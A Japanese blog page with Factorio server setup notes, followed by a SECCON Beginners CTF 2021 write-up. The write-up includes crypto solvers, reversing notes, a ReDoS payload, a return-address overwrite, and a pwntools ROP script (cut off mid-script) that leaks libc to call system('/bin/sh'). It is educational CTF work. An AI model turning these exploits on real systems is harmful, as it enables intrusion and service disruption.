amaga38のブログ

twitter: @amaga38

factorio headlessサーバー 構築 覚え書き

factorio (https://factorio.com/) のマルチプレイ用サーバーを構築し直したときの覚え書きです。

サーバー準備@AWS EC2

インスタンス

メモリ1Gだと若干足りないようなので、2Gのt3a.smallで構築。t2.smallよりt3.smallt3a.smallの方が料金安いのね。

イメージはとりあえずUbuntu 20.04。apt update; apt upgrade; 忘れずに

セキュリティグループ設定

以下のインバウンドルールを追加したセキュリティグループで設定

IPバージョン タイプ プロトコル ポート範囲 メモ
IPv4 SSH TCP 22 サーバーメンテナンス用
IPv4 カスタムUDP UDP 34297 factorioサービスの待ち受けポート

factorio headlessのインストール

factorioの公式サイト (https://factorio.com/) のダウンロードページからLinuxのheadlessの圧縮ファイルをDL (下図1番左のリンク)

f:id:amaga38:20220218231609p:plain

バイナリのURLは https://factorio.com/get-download/1.1.53/headless/linux64 で固定みたいなので、EC2インスタンスWget

# mkdir /opt/factorio-k2
# cd /opt/factorio-k2
# wget -O factorio-1.1.53.tar.xz https://factorio.com/get-download/stable/headless/linux64

ファイルを展開

# tar -Jxvf factorio-1.1.53.tar.xz

サーバーのセッティングを用意。Diffだけ記録

$ diff /opt/factorio-k2/factorio/data/server-settings.example.json server-settings.json
2c2
<   "name": "Name of the game as it will appear in the game listing",
---
>   "name": "<削除>",
13,14c13,14
<     "public": true,
<     "lan": true
---
>     "public": false,
>     "lan": false
24c24
<   "game_password": "",
---
>   "game_password": "<削除>",
62c62
<   "autosave_only_on_server": true,
---
>   "autosave_only_on_server": false,
65c65
<   "non_blocking_saving": false,
---
>   "non_blocking_saving": true,

手元のWindowsからセーブファイルをEC2インスタンスにアップロード。/opt/factorio-k2/savesに格納。 (%AppData%\Factorio\saves にある該当のファイルをTeraTermのscpでアップロード)

EC2インスタンス起動時に自動起動するようにサービス登録

# /
# cat factorio-k2.service
[Unit]
Description=Factorio Service. https://factorio.com/
After=network-online.target

[Service]
ExecStart=/opt/factorio-k2/factorio/bin/x64/factorio --server-settings /opt/factorio-k2/server-settings.json --start-server /opt/factorio-k2/saves/save.zip
Restart=no
Type=simple

[Install]
WantedBy=multi-user.target

# cp factorio-k2.service /lib/systemd/system/
# ln -s /lib/systemd/system/factorio-k2.service /etc/systemd/system/multi-user.target.wants/factorio-k2.service
# systemctl enable factorio-k2

mod Krastrio-2 のインストール

Mod Portal(https://mods.factorio.com/) にアクセスして、Krastrio-2のModを入手。 Dependencies で青色に記載されているModに依存しているので、こちらも一緒に入手。今回入れたModは全部で3つ

DLしたZipファイルをまたscpでEC2インスタンスにアップロード。/opt/factorio-k2/factorio/mods/ディレクトリにZipファイルを格納

$ ls /opt/factorio-k2/factorio/mods/
Krastorio2Assets_1.1.0.zip Krastorio2_1.2.23.zip  flib_0.9.2.zip

今回はK2を1.1.5からアップデートしたけど、1.2.0からAssetを別に分けたみたいで、依存modとしてmodディレクトリに配置し忘れてた。そのせいでmodの読み込みが最初うまくいかなくて躓いた。エラーも特にでないんので、Modの依存はちゃんと確認。

動作確認

Windowsのクライアントから「マルチプレイ」→「アドレスに接続」でEC2インスタンスIPアドレスを入力、server-settings.jsongame_passwordに設定したパスワードを入力して接続できればOK。

Discord Bot

マルチプレイの仲間で好きな時にEC2インスタンスを起動、停止できるようにボットも作ってみた。こっちはAmazon Lightsailでほそぼそ運用テスト中

github.com

SECCON Beginners CTF 2021 write-up

2021/5/22 14:00 - 5/23 14:00 (JST) で開催されたSECCON Beginners CTFに参加したので解けた問題のwrite-upです。チームとしては、whitecatsとして参加して1689pt (85位)でした。Web問はチームメイトにお任せして、Pwnに頭を悩ませながら他の問題を解いてました。

https://score.beginners.azure.noc.seccon.jp/

Crypto

simple_RSA

Let's encrypt it with RSA! 問題のプログラム

from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

eが小さいので、「RSA e 小さい」でGoogle検索してでてきたブログ(ももいろテクノロジー:plain RSAに対する攻撃手法を実装してみる)を参考にソルバー作成。

import sys
import gmpy
from Crypto.Util.number import *
def root_e(c, e, n):
    bound = gmpy.root(n, e)[0]
    m = gmpy.root(c, e)[0]
    return m, bound
if __name__ == '__main__':
    n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
    e = 3
    c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
    m, bound = root_e(c, e, n)
    print("%d (possible solution under %d)" % (m, bound))
    print(long_to_bytes(m))

Flag: ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

We have an innovative seesaw!

問題のプログラム

from Crypto.Util.number import *
from random import random, getrandbits
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))
length = flag.bit_length()
key = getrandbits(length)
while not length == key.bit_length():
    key = getrandbits(length)

flag = list(bin(flag)[2:])
key = list(bin(key)[2:])

cipher_L = []

for _ in range(16):
    cipher = flag[:]
    m = 0.5
    
    for i in range(length):
        n = random()
        if n > m:
            cipher[i] = str(eval(cipher[i] + "&" + key[i]))
            
    cipher_L.append("".join(cipher))


print("cipher =", cipher_L)

フラグと同じbit数の鍵が用意され、1/2の確率でフラグと&演算される。&演算なので、元々0のbitは変化しない。あとは、1のbitを調整すればOK。暗号化されたbit文字列を16個提供されるので、同じ個所のbitで1になっているものが多ければ、元々1だっただろうとあたりをつけるソルバーを作った。

from Crypto.Util.number import *
from output import cipher

#with open('output.txt', 'r') as f:
#    cipher = readline()

#   m 0 1
# --------
# k 0 0 0 0.5
#   1 0 1 
#   - 0 1 0.5

print(cipher)
length = len(cipher[0])

ans = b''
for i in range(length):
    cnt = 0
    for j in range(16):
        cnt += int(cipher[j][i])
    
    if cnt == 0:
        ans += b'0'
    else:
        if cnt / 16 > 0.3:
            ans += b'1'
        else:
            ans += b'0'
print(ans)
print(long_to_bytes(int(ans, 2)))

Flag: ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

Rev

only_read

バイナリ読めなきゃやばいなり〜

disasemmble すると、main関数で文字列を1文字1文字比較する処理がある。比較している値を順番につなげるだけ。

    11e4:       3c 63                   cmp    al,0x63
    11e6:       0f 85 da 00 00 00       jne    12c6 <main+0x13d>
    11ec:       0f b6 45 e1             movzx  eax,BYTE PTR [rbp-0x1f]
    11f0:       3c 74                   cmp    al,0x74
    11f2:       0f 85 ce 00 00 00       jne    12c6 <main+0x13d>
    11f8:       0f b6 45 e2             movzx  eax,BYTE PTR [rbp-0x1e]
    11fc:       3c 66                   cmp    al,0x66
    11fe:       0f 85 c2 00 00 00       jne    12c6 <main+0x13d>
    1204:       0f b6 45 e3             movzx  eax,BYTE PTR [rbp-0x1d]
    1208:       3c 34                   cmp    al,0x34
    120a:       0f 85 b6 00 00 00       jne    12c6 <main+0x13d>
    1210:       0f b6 45 e4             movzx  eax,BYTE PTR [rbp-0x1c]
    1214:       3c 62                   cmp    al,0x62
    1216:       0f 85 aa 00 00 00       jne    12c6 <main+0x13d>
    121c:       0f b6 45 e5             movzx  eax,BYTE PTR [rbp-0x1b]
    1220:       3c 7b                   cmp    al,0x7b
    1222:       0f 85 9e 00 00 00       jne    12c6 <main+0x13d>
    1228:       0f b6 45 e6             movzx  eax,BYTE PTR [rbp-0x1a]
    122c:       3c 63                   cmp    al,0x63
    122e:       0f 85 92 00 00 00       jne    12c6 <main+0x13d>
    1234:       0f b6 45 e7             movzx  eax,BYTE PTR [rbp-0x19]
    1238:       3c 30                   cmp    al,0x30
    123a:       0f 85 86 00 00 00       jne    12c6 <main+0x13d>
    1240:       0f b6 45 e8             movzx  eax,BYTE PTR [rbp-0x18]
    1244:       3c 6e                   cmp    al,0x6e
    1246:       75 7e                   jne    12c6 <main+0x13d>
    1248:       0f b6 45 e9             movzx  eax,BYTE PTR [rbp-0x17]
    124c:       3c 35                   cmp    al,0x35
    124e:       75 76                   jne    12c6 <main+0x13d>
    1250:       0f b6 45 ea             movzx  eax,BYTE PTR [rbp-0x16]
    1254:       3c 74                   cmp    al,0x74
    1256:       75 6e                   jne    12c6 <main+0x13d>
    1258:       0f b6 45 eb             movzx  eax,BYTE PTR [rbp-0x15]
    125c:       3c 34                   cmp    al,0x34
    125e:       75 66                   jne    12c6 <main+0x13d>
    1260:       0f b6 45 ec             movzx  eax,BYTE PTR [rbp-0x14]
    1264:       3c 6e                   cmp    al,0x6e
    1266:       75 5e                   jne    12c6 <main+0x13d>
    1268:       0f b6 45 ed             movzx  eax,BYTE PTR [rbp-0x13]
    126c:       3c 74                   cmp    al,0x74
    126e:       75 56                   jne    12c6 <main+0x13d>
    1270:       0f b6 45 ee             movzx  eax,BYTE PTR [rbp-0x12]
    1274:       3c 5f                   cmp    al,0x5f
    1276:       75 4e                   jne    12c6 <main+0x13d>
    1278:       0f b6 45 ef             movzx  eax,BYTE PTR [rbp-0x11]
    127c:       3c 66                   cmp    al,0x66
    127e:       75 46                   jne    12c6 <main+0x13d>
    1280:       0f b6 45 f0             movzx  eax,BYTE PTR [rbp-0x10]
    1284:       3c 30                   cmp    al,0x30
    1286:       75 3e                   jne    12c6 <main+0x13d>
    1288:       0f b6 45 f1             movzx  eax,BYTE PTR [rbp-0xf]
    128c:       3c 6c                   cmp    al,0x6c
    128e:       75 36                   jne    12c6 <main+0x13d>
    1290:       0f b6 45 f2             movzx  eax,BYTE PTR [rbp-0xe]
    1294:       3c 64                   cmp    al,0x64
    1296:       75 2e                   jne    12c6 <main+0x13d>
    1298:       0f b6 45 f3             movzx  eax,BYTE PTR [rbp-0xd]
    129c:       3c 31                   cmp    al,0x31
    129e:       75 26                   jne    12c6 <main+0x13d>
    12a0:       0f b6 45 f4             movzx  eax,BYTE PTR [rbp-0xc]
    12a4:       3c 6e                   cmp    al,0x6e
    12a6:       75 1e                   jne    12c6 <main+0x13d>
    12a8:       0f b6 45 f5             movzx  eax,BYTE PTR [rbp-0xb]
    12ac:       3c 67                   cmp    al,0x67
    12ae:       75 16                   jne    12c6 <main+0x13d>
    12b0:       0f b6 45 f6             movzx  eax,BYTE PTR [rbp-0xa]
    12b4:       3c 7d                   cmp    al,0x7d
>>> '\x63\x74\x66\x34\x62\x7b\x63\x30\x6e\x35\x74\x34\x6e\x74\x5f\x66\x30\x6c\x64\x31\x6e\x67\x7d'
'ctf4b{c0n5t4nt_f0ld1ng}'

Flag: ctf4b{c0n5t4nt_f0ld1ng}

children

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

実行すると次々と生成される子プロセスのプロセスIDをきかれるので、逐一回答する。最後に作成した子プロセスの数を答える。

$ strace ./children
execve("./children", ["./children"], 0x7ffe90cbec50 /* 20 vars */) = 0
brk(NULL)                               = 0x55a0bf9bf000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea6df9f00) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31138, ...}) = 0
mmap(NULL, 31138, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4de6381000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4de637f000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4de618d000
mprotect(0x7f4de61b2000, 1847296, PROT_NONE) = 0
mmap(0x7f4de61b2000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f4de61b2000
mmap(0x7f4de632a000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f4de632a000
mmap(0x7f4de6375000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f4de6375000
mmap(0x7f4de637b000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4de637b000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f4de6380540) = 0
mprotect(0x7f4de6375000, 12288, PROT_READ) = 0
mprotect(0x55a0be1ac000, 4096, PROT_READ) = 0
mprotect(0x7f4de63b6000, 4096, PROT_READ) = 0
munmap(0x7f4de6381000, 31138)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
brk(NULL)                               = 0x55a0bf9bf000
brk(0x55a0bf9e0000)                     = 0x55a0bf9e0000
write(1, "I will generate 10 child process"..., 36I will generate 10 child processes.
) = 36
write(1, "They also might generate additio"..., 51They also might generate additional child process.
) = 51
write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them!
) = 58
write(1, "\n", 1
)                       = 1
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12696
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12696, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
read(0, 12696
"12696\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12697
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12697, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12698
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12698, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12698
"12698\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12699
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12699, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12700
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12700, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12700
"12700\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12701
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12701, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12701
"12701\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12702
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12702, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12702
"12702\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12703
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12703, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12703
"12703\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12704
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12704, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12704
"12704\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12705
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12706
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12705, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12706, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12706
"12706\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12707
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12707, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12707
"12707\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12708
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12708, si_uid=1000, si_status=1, si_utime=0, si_stime=1} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12708
"12708\n", 1024)                = 6
write(1, "ok\n", 3ok
)                     = 3
wait4(-1, NULL, 0, NULL)                = 12696
write(1, "How many children were born?\n", 29How many children were born?
) = 29
read(0, 13
"13\n", 1024)                   = 3
write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}       ) = 40
lseek(0, -1, SEEK_CUR)                  = -1 ESPIPE (Illegal seek)
exit_group(0)                           = ?
+++ exited with 0 +++

手始めにstraceで挙動を見ながら動かして回答してたら最後まで正解できたので、フラグゲット。

Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

フラグを復号してくれるのは良いけど,表示してくれない!!

ptraceが2回呼ばれているけど、1回目はreturn -1、2回目はreturn 0してあげれば、チェック処理は終了する。gdbで実行して、ptraceにbreakpointを設定し、呼ばれたところでreturn -1とかしてあげればOK。フラグのdecrypt処理が進み、rc4で復号された文字をメモリ上から読んで終了。

Flag: ctf4b{d1d_y0u_d3crypt_rc4?}

Misc

Mail_Address_Validator

あなたのメールアドレスが正しいか調べます.

nc mail-address-validator.quals.beginners.seccon.jp 5100

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

最近よく聞くReDoSやぁと思いながら、Google検索。参考になりそうなサイトを見つけて、確認用の文字列そのまま使わせてもらった。(yohgaki's blog: 正規表現でのメールアドレスチェックは見直すべき – ReDoS)

>>> a = "secconbeginner@host"+".abcde"*10
>>> a
'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde'
>>> a + "."
'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.'
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

Flag: ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

Pwn

rewriter

任意のアドレスの値を書き換えたい時,ありますよね?

nc rewriter.quals.beginners.seccon.jp 4103

コード抜粋

void win() {
    execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}

int main() {
    unsigned long target = 0, value = 0;
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    printf("Where would you like to rewrite it?\n> ");
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    target = strtol(buf, NULL, 0);
    printf("0x%016lx = ", target);
    buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
    value = strtol(buf, NULL, 0);
    *(long*)target = value;
}

*(long*)target = value; ここで標準入力で指定したアドレスに指定の値を代入してくれる。win関数のアドレスが0x04011f6 なのでret addrをwin関数のアドレスで上書きしてもらう。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
$ nc rewriter.quals.beginners.seccon.jp 4103
[Addr]              |[Value]
====================+===================
 0x00007ffef60d8e90 | 0x0000000000000000  <- buf
 0x00007ffef60d8e98 | 0x0000000000000000
 0x00007ffef60d8ea0 | 0x0000000000000000
 0x00007ffef60d8ea8 | 0x0000000000000000
 0x00007ffef60d8eb0 | 0x0000000000000000  <- target
 0x00007ffef60d8eb8 | 0x0000000000000000  <- value
 0x00007ffef60d8ec0 | 0x0000000000401520  <- saved rbp
 0x00007ffef60d8ec8 | 0x00007f58721f6bf7  <- saved ret addr
 0x00007ffef60d8ed0 | 0x0000000000000001
 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8

Where would you like to rewrite it?
> 140733026504392
0x00007ffef60d8ec8 = 4198902

[Addr]              |[Value]
====================+===================
 0x00007ffef60d8e90 | 0x0a32303938393134  <- buf
 0x00007ffef60d8e98 | 0x0a32393334303500
 0x00007ffef60d8ea0 | 0x0000000000000000
 0x00007ffef60d8ea8 | 0x0000000000000000
 0x00007ffef60d8eb0 | 0x00000000004011f6  <- target
 0x00007ffef60d8eb8 | 0x00007ffef60d8ec8  <- value
 0x00007ffef60d8ec0 | 0x0000000000401520  <- saved rbp
 0x00007ffef60d8ec8 | 0x00000000004011f6  <- saved ret addr
 0x00007ffef60d8ed0 | 0x0000000000000001
 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

Flag: ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners_rop

Do you like programming?

Did you know Return Oriented Programming?

nc beginners-rop.quals.beginners.seccon.jp 4102

コード抜粋

#include <stdio.h>
#include <unistd.h>
char *gets(char *s);
int main() {
    char str[0x100];
    gets(str);
    puts(str);
}
__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

getsで標準入力から入力を受け付けるのでバッファオバーフローのバグがある。タイトルどおりROPを頑張るだけ。

from pwn import *

srv = 'beginners-rop.quals.beginners.seccon.jp'
port = 4102
bin = ELF('./chall')
libc = ELF('./libc-2.27.so')

#conn = process(bin.path)
# '''
#b *0x000215bf
#continue
#''')
conn = remote(srv, port)

payload = b'A' * 0x100
payload += b'B' * 8

"""
$ readelf -S ./chall
There are 31 section headers, starting at offset 0x3ab0:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
       :
  [13] .plt              PROGBITS         0000000000401020  00001020
       0000000000000050  0000000000000010  AX       0     0     16
  [14] .plt.sec          PROGBITS         0000000000401070  00001070
       0000000000000040  0000000000000010  AX       0     0     16
  [15] .text             PROGBITS         00000000004010b0  000010b0
       00000000000001e5  0000000000000000  AX       0     0     16
       :
  [23] .got              PROGBITS         0000000000403ff0  00002ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000404000  00003000
       0000000000000038  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000404038  00003038
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000404050  00003048
       0000000000000020  0000000000000000  WA       0     0     16
"""

addr_main = 0x401196
addr_puts_got = bin.got['puts'] #  0x404018
addr_puts_plt = bin.plt['puts'] #  0x401070
addr_gets_plt = bin.plt['gets']
addr_bss = 0x404050


# ROP gadget
pop_rdi = 0x00401283


# $ nm -D libc-2.27.so |grep puts
# 0000000000080aa0 W puts

# ROPの中で
# 1-1. putsを呼び、putsのアドレスを調べる
# 1-2. system関数のアドレスを逆算
# 1-3. mainを再度呼ぶ
# 
# 2-1. bssのアドレスをrdiにセットしてgetsを呼ぶ
# 2-2. getsに対して'/bin/sh'を送信
# 2-3. bssの'/bin/sh'を利用してsystem関数呼び出し


# 1st ROP
# set got(puts) to rdi
payload += p64(pop_rdi)
payload += p64(addr_puts_got)
# call puts(got(puts))
payload += p64(addr_puts_plt)
# re-call main
payload += p64(addr_main)

conn.sendline(payload)
conn.recvline()  # garbage

# get leaked puts got-address
leaked_puts_got = conn.recvline().rstrip()
if len(leaked_puts_got) < 8:
    leaked_puts_got += b'\x00' * (8 - len(leaked_puts_got))

print('puts GOT:', hex(u64(leaked_puts_got)))
leaked_puts = u64(leaked_puts_got)

# calculate libc's base address
libc_base = leaked_puts - libc.symbols['puts']
addr_system = libc_base + libc.symbols['system']


# 2nd rop
payload = b'A' * 0x100
payload += b'B' * 8

# set bss addr to rdi
payload += p64(pop_rdi)
payload += p64(addr_bss)
